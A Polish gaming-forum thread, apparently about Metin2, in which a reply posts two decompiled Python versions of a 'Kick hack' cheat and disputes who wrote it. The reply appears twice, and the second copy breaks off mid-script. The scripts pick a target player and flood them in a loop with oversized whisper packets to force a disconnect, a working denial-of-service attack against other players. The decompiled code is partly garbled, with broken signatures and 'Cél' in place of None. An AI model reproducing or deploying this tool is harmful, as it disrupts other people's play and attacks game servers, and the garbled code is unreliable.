Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Kick hack by Heaven.


Azet666

Rekomendowane odpowiedzi

Opublikowano

to nie jest kickhack by heaven tylko kickhack by francoiz...

to jest ten co wrzucileś po dekompilacji:

 

 

# File: K (Python 2.2)

import ui
import dbg
import app
import net
import chat
import player
import time
import chr
import textTail
pj = player.GetTargetVID()
nombre = chr.GetNameByVID(pj)
msj1 = '\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0'
msj2 = '0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789FZFZ'
kick = 0
ataque = 0

class Dialog1(ui.Window):
    
    def __init__(self):
        ui.Window.__init__(self)
        self.BuildWindow()

    
    def __del__(self):
        ui.Window.__del__(self)

    
    def BuildWindow(self):
        self.Board = ui.BoardWithTitleBar()
        self.Board.SetSize(222, 137)
        self.Board.SetCenterPosition()
        self.Board.AddFlag('movable')
        self.Board.AddFlag('float')
        self.Board.SetTitleName('Kick hack')
        self.Board.SetCloseEvent(self.Board.Hide)
        self.Board.Show()
        self._Dialog1__BuildKeyDict()
        self.comp = Component()
        self.btnobtener = self.comp.Button(self.Board, 'C\xe9lt v\xe1laszt\x0', '', 18, 61, self.btnobtener_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
        self.btnkick = self.comp.Button(self.Board, 'Ledob\xe1s\x0\x0\x0\x0\x0', '', 113, 61, self.btnkick_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
        self.btnataque = self.comp.Button(self.Board, 'Opci\xf3 1\x0', '', 20, 86, self.btnataque_func, 'd:/ymir work/ui/public/xlarge_button_01.sub', 'd:/ymir work/ui/public/xlarge_button_02.sub', 'd:/ymir work/ui/public/xlarge_button_03.sub')
        (self.slotbar_editname, self.editname) = self.comp.EditLine(self.Board, nombre, 63, 37, 135, 15, 25)
        self.txtnombre = self.comp.TextLine(self.Board, 'C\xe9l:\x0\x0\x0', 19, 37, self.comp.RGB(255, 255, 255))
        self.txtcreditos = self.comp.TextLine(self.Board, 'by Heaven\x0\x0', 19, 111, self.comp.RGB(225, 215, 22))

    
    def btnataque_func(self):
        global ataque
        if ataque == 0:
            ataque = 1
            self.btnataque.SetText('Opci\xf3 2\x0')
        else:
            ataque = 0
            self.btnataque.SetText('Opci\xf3 1\x0')

    
    def btnobtener_func(self):
        global nombre
        pj = player.GetTargetVID()
        nombre = chr.GetNameByVID(pj)
        self.editname.SetText(nombre)

    
    def btnkick_func(self):
        global kick
        if kick == 0:
            kick = 1
            self.btnkick.SetText('Le\xe1ll\xedt\xe1s\x0')
            self.kickfinish()
        else:
            self.btnkick.SetText('Ledob\xe1s\x0\x0\x0\x0\x0')
            kick = 0

    
    def kickfinish(self):
        if ataque == 0:
            net.SendWhisperPacket(str(nombre), msj1)
        else:
            net.SendWhisperPacket(str(nombre), msj2)
        if kick == 1:
            self.kickseg = WaitingDialog()
            self.kickseg.Open(float(9.9999999999999993e-077))
            self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)
        else:
            self.kickseg = WaitingDialog()
            self.kickseg.Open(int(0x72CB5BD86321E38CB6CE6682E7FFFFFFFFFFL))
            self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)

    
    def _Dialog1__BuildKeyDict(self):
        onPressKeyDict = { }
        
        onPressKeyDict[app.DIK_F5] = lambda : self.OpenWindow()
        self.onPressKeyDict = onPressKeyDict

    
    def OnKeyDown(self, key):
        
        try:
            self.onPressKeyDict[key]()
        except KeyError:
            pass
        except:
            raise 

        return TRUE

    
    def OpenWindow(self):
        if self.Board.IsShow():
            self.Board.Hide()
        else:
            self.Board.Show()



class Component:
    
    def Button(self, parent, buttonName, tooltipText, x, y, func, UpVisual, OverVisual, DownVisual):
        button = ui.Button()
        if parent != None:
            button.SetParent(parent)
        
        button.SetPosition(x, y)
        button.SetUpVisual(UpVisual)
        button.SetOverVisual(OverVisual)
        button.SetDownVisual(DownVisual)
        button.SetText(buttonName)
        button.SetToolTipText(tooltipText)
        button.Show()
        button.SetEvent(func)
        return button

    
    def ToggleButton(self, parent, buttonName, tooltipText, x, y, funcUp, funcDown, UpVisual, OverVisual, DownVisual):
        button = ui.ToggleButton()
        if parent != Cél:
            button.SetParent(parent)
        
        button.SetPosition(x, y)
        button.SetUpVisual(UpVisual)
        button.SetOverVisual(OverVisual)
        button.SetDownVisual(DownVisual)
        button.SetText(buttonName)
        button.SetToolTipText(tooltipText)
        button.Show()
        button.SetToggleUpEvent(funcUp)
        button.SetToggleDownEvent(funcDown)
        return button

    
    def EditLine(self, parent, editlineText, x, y, width, heigh, max):
        SlotBar = ui.SlotBar()
        if parent != None:
            SlotBar.SetParent(parent)
        
        SlotBar.SetSize(width, heigh)
        SlotBar.SetPosition(x, y)
        SlotBar.Show()
        Value = ui.EditLine()
        Value.SetParent(SlotBar)
        Value.SetSize(width, heigh)
        Value.SetPosition(4, 1)
        Value.SetMax(max)
        Value.SetLimitWidth(width)
        Value.SetMultiLine()
        Value.SetText(editlineText)
        Value.Show()
        return (SlotBar, Value)

    
    def TextLine(self, parent, textlineText, x, y, color):
        textline = ui.TextLine()
        if parent != None:
            textline.SetParent(parent)
        
        textline.SetPosition(x, y)
        if color != None:
            textline.SetFontColor(color[0], color[1], color[2])
        
        textline.SetText(textlineText)
        textline.Show()
        return textline

    
    def RGB(self, r, g, :
        return (r * 255, g * 255, b * 255)

    
    def SliderBar(self, parent, sliderPos, func, x, y):
        Slider = ui.SliderBar()
        if parent != Cél:
            Slider.SetParent(parent)
        
        Slider.SetPosition(x, y)
        Slider.SetSliderPos(sliderPos / 100)
        Slider.Show()
        Slider.SetEvent(func)
        return Slider

    
    def ExpandedImage(self, parent, x, y, img):
        image = ui.ExpandedImageBox()
        if parent != Cél:
            image.SetParent(parent)
        
        image.SetPosition(x, y)
        image.LoadImage(img)
        image.Show()
        return image

    
    def ComboBox(self, parent, text, x, y, width):
        combo = ui.ComboBox()
        if parent != Cél:
            combo.SetParent(parent)
        
        combo.SetPosition(x, y)
        combo.SetSize(width, 15)
        combo.SetCurrentItem(text)
        combo.Show()
        return combo

    
    def ThinBoard(self, parent, moveable, x, y, width, heigh, center):
        thin = ui.ThinBoard()
        if parent != Cél:
            thin.SetParent(parent)
        
        if moveable == TRUE:
            thin.AddFlag('movable')
            thin.AddFlag('float')
        
        thin.SetSize(width, heigh)
        thin.SetPosition(x, y)
        if center == TRUE:
            thin.SetCenterPosition()
        
        thin.Show()
        return thin

    
    def Gauge(self, parent, width, color, x, y):
        gauge = ui.Gauge()
        if parent != Cél:
            gauge.SetParent(parent)
        
        gauge.SetPosition(x, y)
        gauge.MakeGauge(width, color)
        gauge.Show()
        return gauge

    
    def ListBoxEx(self, parent, x, y, width, heigh):
        bar = ui.Bar()
        if parent != Cél:
            bar.SetParent(parent)
        
        bar.SetPosition(x, y)
        bar.SetSize(width, heigh)
        bar.SetColor(1996488704)
        bar.Show()
        ListBox = ui.ListBoxEx()
        ListBox.SetParent(bar)
        ListBox.SetPosition(0, 0)
        ListBox.SetSize(width, heigh)
        ListBox.Show()
        scroll = ui.ScrollBar()
        scroll.SetParent(ListBox)
        scroll.SetPosition(width - 15, 0)
        scroll.SetScrollBarSize(heigh)
        scroll.Show()
        ListBox.SetScrollBar(scroll)
        return (bar, ListBox)



class WaitingDialog(ui.ScriptWindow):
    
    def __init__(self):
        ui.ScriptWindow.__init__(self)
        
        self.eventTimeOver = lambda *arg: Cél
        
        self.eventExit = lambda *arg: Cél

    
    def __del__(self):
        ui.ScriptWindow.__del__(self)

    
    def Open(self, waitTime):
        curTime = time.clock()
        self.endTime = curTime + waitTime
        self.Show()

    
    def Close(self):
        self.Hide()

    
    def Destroy(self):
        self.Hide()

    
    def SAFE_SetTimeOverEvent(self, event):
        self.eventTimeOver = ui.__mem_func__(event)

    
    def SAFE_SetExitEvent(self, event):
        self.eventExit = ui.__mem_func__(event)

    
    def OnUpdate(self):
        lastTime = max(0, self.endTime - time.clock())
        if 0 == lastTime:
            self.Close()
            self.eventTimeOver()
        else:
            return None


Dialog1().Show()
 

 

 

 

a to by francoiz

 

 

# Source Generated by .MaisKolben™-Decompyler
# File: kickhack.pyc

import ui
import dbg
import app
import net
import chat
import player
import time
import chr
import textTail
pj = player.GetTargetVID()
nombre = chr.GetNameByVID(pj)
msj2 = '0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789FZFZ'
kick = 0

class Dialog1(ui.Window):
	
	def __init__(self):
		ui.Window.__init__(self)
		self.BuildWindow()

	
	def __del__(self):
		ui.Window.__del__(self)

	
	def BuildWindow(self):
		self.Board = ui.BoardWithTitleBar()
		self.Board.SetSize(222, 137)
		self.Board.SetCenterPosition()
		self.Board.AddFlag('movable')
		self.Board.AddFlag('float')
		self.Board.SetTitleName('Kick hack')
		self.Board.SetCloseEvent(self.Board.Hide)
		self.Board.Show()
		self.comp = Component()
		self.btnobtener = self.comp.Button(self.Board, 'Obtener datos', '', 18, 61, self.btnobtener_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
		self.btnkick = self.comp.Button(self.Board, 'Activar kick', '', 113, 61, self.btnkick_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
		self.btnataque = self.comp.Button(self.Board, 'Ataque 2', '', 20, 86, self.btnataque_func, 'd:/ymir work/ui/public/xlarge_button_01.sub', 'd:/ymir work/ui/public/xlarge_button_02.sub', 'd:/ymir work/ui/public/xlarge_button_03.sub')
		(self.slotbar_editname, self.editname) = self.comp.EditLine(self.Board, nombre, 63, 37, 135, 15, 25)
		self.txtnombre = self.comp.TextLine(self.Board, 'Nombre:', 19, 37, self.comp.RGB(255, 255, 255))
		self.txtcreditos = self.comp.TextLine(self.Board, 'by Francoiz', 19, 111, self.comp.RGB(225, 215, 22))

	
	def btnataque_func(self):
		pass

	
	def btnobtener_func(self):
		global nombre
		pj = player.GetTargetVID()
		nombre = chr.GetNameByVID(pj)
		self.editname.SetText(nombre)

	
	def btnkick_func(self):
		global kick
		if kick == 0:
			kick = 1
			self.btnkick.SetText('Parar kick')
			self.kickfinish()
		else:
			self.btnkick.SetText('Activar kick')
			kick = 0

	
	def kickfinish(self):
		net.SendWhisperPacket(str(nombre), msj2)
		if kick == 1:
			self.kickseg = WaitingDialog()
			self.kickseg.Open(float(3.46979e+018))
			self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)
		else:
			self.kickseg = WaitingDialog()
			self.kickseg.Open(int(0x72CB5BD86321E38CB6CE6682E7FFFFFFFFFFL))
			self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)

	
	def OnKeyDown(self, key):
		if key == app.DIK_F5:
			self.OpenWindow()
		return TRUE
	
	def OpenWindow(self):
		if self.Board.IsShow():
			self.Board.Hide()
		else:
			self.Board.Show()



class Component:
	
	def Button(self, parent, buttonName, tooltipText, x, y, func, UpVisual, OverVisual, DownVisual):
		button = ui.Button()
		if parent != None:
			button.SetParent(parent)
		button.SetPosition(x, y)
		button.SetUpVisual(UpVisual)
		button.SetOverVisual(OverVisual)
		button.SetDownVisual(DownVisual)
		button.SetText(buttonName)
		button.Show()
		button.SetEvent(func)
		return button

	
	def ToggleButton(self, parent, buttonName, tooltipText, x, y, funcUp, funcDown, UpVisual, OverVisual, DownVisual):
		button = ui.ToggleButton()
		if parent != None:
			button.SetParent(parent)
		button.SetPosition(x, y)
		button.SetUpVisual(UpVisual)
		button.SetOverVisual(OverVisual)
		button.SetDownVisual(DownVisual)
		button.SetText(buttonName)
		button.Show()
		button.SetToggleUpEvent(funcUp)
		button.SetToggleDownEvent(funcDown)
		return button

	
	def EditLine(self, parent, editlineText, x, y, width, heigh, max):
		SlotBar = ui.SlotBar()
		if parent != None:
			SlotBar.SetParent(parent)
		SlotBar.SetSize(width, heigh)
		SlotBar.SetPosition(x, y)
		SlotBar.Show()
		Value = ui.EditLine()
		Value.SetParent(SlotBar)
		Value.SetSize(width, heigh)
		Value.SetPosition(4, 1)
		Value.SetMax(max)
		Value.SetLimitWidth(width)
		Value.SetMultiLine()
		Value.SetText(editlineText)
		Value.Show()
		return (SlotBar, Value)

	
	def TextLine(self, parent, textlineText, x, y, color):
		textline = ui.TextLine()
		if parent != None:
			textline.SetParent(parent)
		textline.SetPosition(x, y)
		if color != None:
			textline.SetFontColor(color[0], color[1], color[2])
		textline.SetText(textlineText)
		textline.Show()
		return textline

	
	def RGB(self, r, g, :
		return (r * 255, g * 255, b * 255)

	
	def SliderBar(self, parent, sliderPos, func, x, y):
		Slider = ui.SliderBar()
		if parent != None:
			Slider.SetParent(parent)
		Slider.SetPosition(x, y)
		Slider.SetSliderPos(sliderPos / 100)
		Slider.Show()
		Slider.SetEvent(func)
		return Slider

	
	def ExpandedImage(self, parent, x, y, img):
		image = ui.ExpandedImageBox()
		if parent != None:
			image.SetParent(parent)
		image.SetPosition(x, y)
		image.LoadImage(img)
		image.Show()
		return image

	
	def ComboBox(self, parent, text, x, y, width):
		combo = ui.ComboBox()
		if parent != None:
			combo.SetParent(parent)
		combo.SetPosition(x, y)
		combo.SetSize(width, 15)
		combo.SetCurrentItem(text)
		combo.Show()
		return combo

	
	def ThinBoard(self, parent, moveable, x, y, width, heigh, center):
		thin = ui.ThinBoard()
		if parent != None:
			thin.SetParent(parent)
		if moveable == TRUE:
			thin.AddFlag('movable')
			thin.AddFlag('float')
		thin.SetSize(width, heigh)
		thin.SetPosition(x, y)
		if center == TRUE:
			thin.SetCenterPosition()
		thin.Show()
		return thin

	
	def Gauge(self, parent, width, color, x, y):
		gauge = ui.Gauge()
		if parent != None:
			gauge.SetParent(parent)
		gauge.SetPosition(x, y)
		gauge.MakeGauge(width, color)
		gauge.Show()
		return gauge

	
	def ListBoxEx(self, parent, x, y, width, heigh):
		bar = ui.Bar()
		if parent != None:
			bar.SetParent(parent)
		bar.SetPosition(x, y)
		bar.SetSize(width, heigh)
		bar.SetColor(1996488704)
		bar.Show()
		ListBox = ui.ListBoxEx()
		ListBox.SetParent(bar)
		ListBox.SetPosition(0, 0)
		ListBox.SetSize(width, heigh)
		ListBox.Show()
		scroll = ui.ScrollBar()
		scroll.SetParent(ListBox)
		scroll.SetPosition(width - 15, 0)
		scroll.SetScrollBarSize(heigh)
		scroll.Show()
		ListBox.SetScrollBar(scroll)
		return (bar, ListBox)



class WaitingDialog(ui.ScriptWindow):
	
	def __init__(self):
		ui.ScriptWindow.__init__(self)
		
		self.eventTimeOver = None
		self.eventExit = None


	
	def __del__(self):
		ui.ScriptWindow.__del__(self)

	
	def Open(self, waitTime):
		curTime = time.clock()
		self.endTime = curTime + waitTime
		self.Show()

	
	def Close(self):
		self.Hide()

	
	def Destroy(self):
		self.Hide()

	
	def SAFE_SetTimeOverEvent(self, event):
		self.eventTimeOver = ui.__mem_func__(event)

	
	def SAFE_SetExitEvent(self, event):
		self.eventExit = ui.__mem_func__(event)

	
	def OnUpdate(self):
		lastTime = max(0, self.endTime - time.clock())
		if 0 == lastTime:
			self.Close()
			self.eventTimeOver()
		else:
			return None 

 

 

 

więc skoro wyszło, że to by francoiz to do wyjebania temat, bo jest już na forum ten kickhack, dla tego 'heaven' kopa w ryj za podjebanie pracy.

Opublikowano

to nie jest kickhack by heaven tylko kickhack by francoiz...

to jest ten co wrzucileś po dekompilacji:

 

 

# File: K (Python 2.2)

import ui
import dbg
import app
import net
import chat
import player
import time
import chr
import textTail
pj = player.GetTargetVID()
nombre = chr.GetNameByVID(pj)
msj1 = '\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0\xc2\xa0'
msj2 = '0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789FZFZ'
kick = 0
ataque = 0

class Dialog1(ui.Window):
    
    def __init__(self):
        ui.Window.__init__(self)
        self.BuildWindow()

    
    def __del__(self):
        ui.Window.__del__(self)

    
    def BuildWindow(self):
        self.Board = ui.BoardWithTitleBar()
        self.Board.SetSize(222, 137)
        self.Board.SetCenterPosition()
        self.Board.AddFlag('movable')
        self.Board.AddFlag('float')
        self.Board.SetTitleName('Kick hack')
        self.Board.SetCloseEvent(self.Board.Hide)
        self.Board.Show()
        self._Dialog1__BuildKeyDict()
        self.comp = Component()
        self.btnobtener = self.comp.Button(self.Board, 'C\xe9lt v\xe1laszt\x0', '', 18, 61, self.btnobtener_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
        self.btnkick = self.comp.Button(self.Board, 'Ledob\xe1s\x0\x0\x0\x0\x0', '', 113, 61, self.btnkick_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
        self.btnataque = self.comp.Button(self.Board, 'Opci\xf3 1\x0', '', 20, 86, self.btnataque_func, 'd:/ymir work/ui/public/xlarge_button_01.sub', 'd:/ymir work/ui/public/xlarge_button_02.sub', 'd:/ymir work/ui/public/xlarge_button_03.sub')
        (self.slotbar_editname, self.editname) = self.comp.EditLine(self.Board, nombre, 63, 37, 135, 15, 25)
        self.txtnombre = self.comp.TextLine(self.Board, 'C\xe9l:\x0\x0\x0', 19, 37, self.comp.RGB(255, 255, 255))
        self.txtcreditos = self.comp.TextLine(self.Board, 'by Heaven\x0\x0', 19, 111, self.comp.RGB(225, 215, 22))

    
    def btnataque_func(self):
        global ataque
        if ataque == 0:
            ataque = 1
            self.btnataque.SetText('Opci\xf3 2\x0')
        else:
            ataque = 0
            self.btnataque.SetText('Opci\xf3 1\x0')

    
    def btnobtener_func(self):
        global nombre
        pj = player.GetTargetVID()
        nombre = chr.GetNameByVID(pj)
        self.editname.SetText(nombre)

    
    def btnkick_func(self):
        global kick
        if kick == 0:
            kick = 1
            self.btnkick.SetText('Le\xe1ll\xedt\xe1s\x0')
            self.kickfinish()
        else:
            self.btnkick.SetText('Ledob\xe1s\x0\x0\x0\x0\x0')
            kick = 0

    
    def kickfinish(self):
        if ataque == 0:
            net.SendWhisperPacket(str(nombre), msj1)
        else:
            net.SendWhisperPacket(str(nombre), msj2)
        if kick == 1:
            self.kickseg = WaitingDialog()
            self.kickseg.Open(float(9.9999999999999993e-077))
            self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)
        else:
            self.kickseg = WaitingDialog()
            self.kickseg.Open(int(0x72CB5BD86321E38CB6CE6682E7FFFFFFFFFFL))
            self.kickseg.SAFE_SetTimeOverEvent(self.kickfinish)

    
    def _Dialog1__BuildKeyDict(self):
        onPressKeyDict = { }
        
        onPressKeyDict[app.DIK_F5] = lambda : self.OpenWindow()
        self.onPressKeyDict = onPressKeyDict

    
    def OnKeyDown(self, key):
        
        try:
            self.onPressKeyDict[key]()
        except KeyError:
            pass
        except:
            raise 

        return TRUE

    
    def OpenWindow(self):
        if self.Board.IsShow():
            self.Board.Hide()
        else:
            self.Board.Show()



class Component:
    
    def Button(self, parent, buttonName, tooltipText, x, y, func, UpVisual, OverVisual, DownVisual):
        button = ui.Button()
        if parent != None:
            button.SetParent(parent)
        
        button.SetPosition(x, y)
        button.SetUpVisual(UpVisual)
        button.SetOverVisual(OverVisual)
        button.SetDownVisual(DownVisual)
        button.SetText(buttonName)
        button.SetToolTipText(tooltipText)
        button.Show()
        button.SetEvent(func)
        return button

    
    def ToggleButton(self, parent, buttonName, tooltipText, x, y, funcUp, funcDown, UpVisual, OverVisual, DownVisual):
        button = ui.ToggleButton()
        if parent != Cél:
            button.SetParent(parent)
        
        button.SetPosition(x, y)
        button.SetUpVisual(UpVisual)
        button.SetOverVisual(OverVisual)
        button.SetDownVisual(DownVisual)
        button.SetText(buttonName)
        button.SetToolTipText(tooltipText)
        button.Show()
        button.SetToggleUpEvent(funcUp)
        button.SetToggleDownEvent(funcDown)
        return button

    
    def EditLine(self, parent, editlineText, x, y, width, heigh, max):
        SlotBar = ui.SlotBar()
        if parent != None:
            SlotBar.SetParent(parent)
        
        SlotBar.SetSize(width, heigh)
        SlotBar.SetPosition(x, y)
        SlotBar.Show()
        Value = ui.EditLine()
        Value.SetParent(SlotBar)
        Value.SetSize(width, heigh)
        Value.SetPosition(4, 1)
        Value.SetMax(max)
        Value.SetLimitWidth(width)
        Value.SetMultiLine()
        Value.SetText(editlineText)
        Value.Show()
        return (SlotBar, Value)

    
    def TextLine(self, parent, textlineText, x, y, color):
        textline = ui.TextLine()
        if parent != None:
            textline.SetParent(parent)
        
        textline.SetPosition(x, y)
        if color != None:
            textline.SetFontColor(color[0], color[1], color[2])
        
        textline.SetText(textlineText)
        textline.Show()
        return textline

    
    def RGB(self, r, g, :
        return (r * 255, g * 255, b * 255)

    
    def SliderBar(self, parent, sliderPos, func, x, y):
        Slider = ui.SliderBar()
        if parent != Cél:
            Slider.SetParent(parent)
        
        Slider.SetPosition(x, y)
        Slider.SetSliderPos(sliderPos / 100)
        Slider.Show()
        Slider.SetEvent(func)
        return Slider

    
    def ExpandedImage(self, parent, x, y, img):
        image = ui.ExpandedImageBox()
        if parent != Cél:
            image.SetParent(parent)
        
        image.SetPosition(x, y)
        image.LoadImage(img)
        image.Show()
        return image

    
    def ComboBox(self, parent, text, x, y, width):
        combo = ui.ComboBox()
        if parent != Cél:
            combo.SetParent(parent)
        
        combo.SetPosition(x, y)
        combo.SetSize(width, 15)
        combo.SetCurrentItem(text)
        combo.Show()
        return combo

    
    def ThinBoard(self, parent, moveable, x, y, width, heigh, center):
        thin = ui.ThinBoard()
        if parent != Cél:
            thin.SetParent(parent)
        
        if moveable == TRUE:
            thin.AddFlag('movable')
            thin.AddFlag('float')
        
        thin.SetSize(width, heigh)
        thin.SetPosition(x, y)
        if center == TRUE:
            thin.SetCenterPosition()
        
        thin.Show()
        return thin

    
    def Gauge(self, parent, width, color, x, y):
        gauge = ui.Gauge()
        if parent != Cél:
            gauge.SetParent(parent)
        
        gauge.SetPosition(x, y)
        gauge.MakeGauge(width, color)
        gauge.Show()
        return gauge

    
    def ListBoxEx(self, parent, x, y, width, heigh):
        bar = ui.Bar()
        if parent != Cél:
            bar.SetParent(parent)
        
        bar.SetPosition(x, y)
        bar.SetSize(width, heigh)
        bar.SetColor(1996488704)
        bar.Show()
        ListBox = ui.ListBoxEx()
        ListBox.SetParent(bar)
        ListBox.SetPosition(0, 0)
        ListBox.SetSize(width, heigh)
        ListBox.Show()
        scroll = ui.ScrollBar()
        scroll.SetParent(ListBox)
        scroll.SetPosition(width - 15, 0)
        scroll.SetScrollBarSize(heigh)
        scroll.Show()
        ListBox.SetScrollBar(scroll)
        return (bar, ListBox)



class WaitingDialog(ui.ScriptWindow):
    
    def __init__(self):
        ui.ScriptWindow.__init__(self)
        
        self.eventTimeOver = lambda *arg: Cél
        
        self.eventExit = lambda *arg: Cél

    
    def __del__(self):
        ui.ScriptWindow.__del__(self)

    
    def Open(self, waitTime):
        curTime = time.clock()
        self.endTime = curTime + waitTime
        self.Show()

    
    def Close(self):
        self.Hide()

    
    def Destroy(self):
        self.Hide()

    
    def SAFE_SetTimeOverEvent(self, event):
        self.eventTimeOver = ui.__mem_func__(event)

    
    def SAFE_SetExitEvent(self, event):
        self.eventExit = ui.__mem_func__(event)

    
    def OnUpdate(self):
        lastTime = max(0, self.endTime - time.clock())
        if 0 == lastTime:
            self.Close()
            self.eventTimeOver()
        else:
            return None


Dialog1().Show()
 

 

 

 

a to by francoiz

 

 

# Source Generated by .MaisKolben™-Decompyler
# File: kickhack.pyc

import ui
import dbg
import app
import net
import chat
import player
import time
import chr
import textTail
pj = player.GetTargetVID()
nombre = chr.GetNameByVID(pj)
msj2 = '0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789FZFZ'
kick = 0

class Dialog1(ui.Window):
	
	def __init__(self):
		ui.Window.__init__(self)
		self.BuildWindow()

	
	def __del__(self):
		ui.Window.__del__(self)

	
	def BuildWindow(self):
		self.Board = ui.BoardWithTitleBar()
		self.Board.SetSize(222, 137)
		self.Board.SetCenterPosition()
		self.Board.AddFlag('movable')
		self.Board.AddFlag('float')
		self.Board.SetTitleName('Kick hack')
		self.Board.SetCloseEvent(self.Board.Hide)
		self.Board.Show()
		self.comp = Component()
		self.btnobtener = self.comp.Button(self.Board, 'Obtener datos', '', 18, 61, self.btnobtener_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
		self.btnkick = self.comp.Button(self.Board, 'Activar kick', '', 113, 61, self.btnkick_func, 'd:/ymir work/ui/public/large_button_01.sub', 'd:/ymir work/ui/public/large_button_02.sub', 'd:/ymir work/ui/public/large_button_03.sub')
